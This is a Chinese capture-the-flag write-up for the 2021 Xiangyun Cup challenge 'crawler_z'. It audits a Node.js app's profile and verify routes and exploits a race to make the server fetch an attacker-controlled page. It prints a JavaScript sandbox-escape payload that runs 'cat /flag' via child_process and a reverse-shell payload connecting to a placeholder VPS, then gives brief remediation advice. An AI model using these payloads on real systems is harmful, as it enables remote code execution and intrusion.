2021祥云杯-cralwer_z
知识点概要:js代码审计
首页
随便注册个用户登录进去(笔者此处注册admin),在Profile页面可以更新个人信息

有源码,源码结构:
源码分析
源码中的findByPK()
和findOne()
是Sequelize API,效果可以类比数据库查询
具体参考:https://sequelize.org/docs/v6/core-concepts/model-querying-finders/
首先server.js规定了用户路由从/user
开始
/routes/index.js
是常规的首页注册、登录、登出功能
/routes/user.js
有几个关键路由
/user/profile
路由,分为三部分
1.要求传入参数affiliation、age、bucket不为空且是字符串,其中checkBucket()
要求bucket协议是http:
或https:
,且url包含oss-cn-beijing.ichunqiu.com
字符串(代码在第二张图);
2.把传入的affiliation、age、bucket参数值更新到数据库(bucket赋值给personalBucket),并生成一个token;
3.正则匹配bucket,若符合正则,则用上一步生成的token跳转访问/user/verify
路由,反之则返回提示;
/user/verify
路由
验证token,验证成功则更新数据库中用户的bucket(personalBucket赋值给bucket)
/user/bucket
路由
这里的正则跟/user/profile
的正则是一样的,但是可以看到,此处else有一个对用户bucket的请求,肯定是利用点,要想利用bucket,那就要清楚bucket怎么控制,bucket传递路线如下
/user/profile
传入bucket参数→数据库赋值给personalBucket→/user/verify
再把personalBucket赋值给bucket
相当于在数据库兜了一圈,想请求bucket,就必须经过/user/verify
,那么/user/profile
的正则就必须匹配成功,那么/user/bucket
的正则也会同步匹配成功,那么就没法请求bucket。
所以明确目标:让/user/profile
正则匹配成功,同时/user/bucket
正则匹配失败,最终的bucket还要是我们自己的URL
此时看/user/profile
,可以发现,它的逻辑是先更新bucket,再正则匹配,然后再重定向到/user/verify
,
且checkBucket()没有正则那么严格,只检查协议和oss-cn-beijing.ichunqiu.com
字符串
那么我们可以发送两次数据包,第一次传正常的bucket,重定向之前,第二次传伪造的bucket,格式如下,然后让第一个请求继续重定向,再访问/user/bucket
路由,即可进到else,从而对伪造的bucket发起请求
http%3A%2F%2Fxx.xx.xx.xx/index.html?oss-cn-beijing.ichunqiu.com%2F
xx.xx.xx.xx是自己的vps,上述操作之前先在vps建一个index.html,代码如下,然后开启http服务
<script>
a=this.constructor.constructor.constructor.constructor('return process')();
b=a.mainModule.require('child_process');
c=b.execSync('cat /flag').toString();
document.write(c);
</script>
实际操作
先在vps建一个index.html,然后开启http服务
题目正常注册,登录,然后抓取/user/profile
的数据包,发送到Repeater两份,第一份正常发送
第二份修改bucket后发送,响应包也可看到绕过/user/profile
正则的提示
然后回到第一份,点击左上角Send那一行的Follow Redirection
,成功更新bucket
URL访问/user/bucket
,获取flag
也可反弹shell,若用这个,可用screen命令在vps开两个窗口,一个开启http服务,一个监听反弹shell端口
<script>
c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/xx.xx.xx.xx/9898 0>&1'],);console.log(ls.output.toString());")()
</script>
回头看,问题在于checkBucket()不够严格,只检查协议和oss-cn-beijing.ichunqiu.com
字符串
避免漏洞的思路:/user/profile
中checkBucket()用正则的逻辑;或者先正则匹配,再更新bucket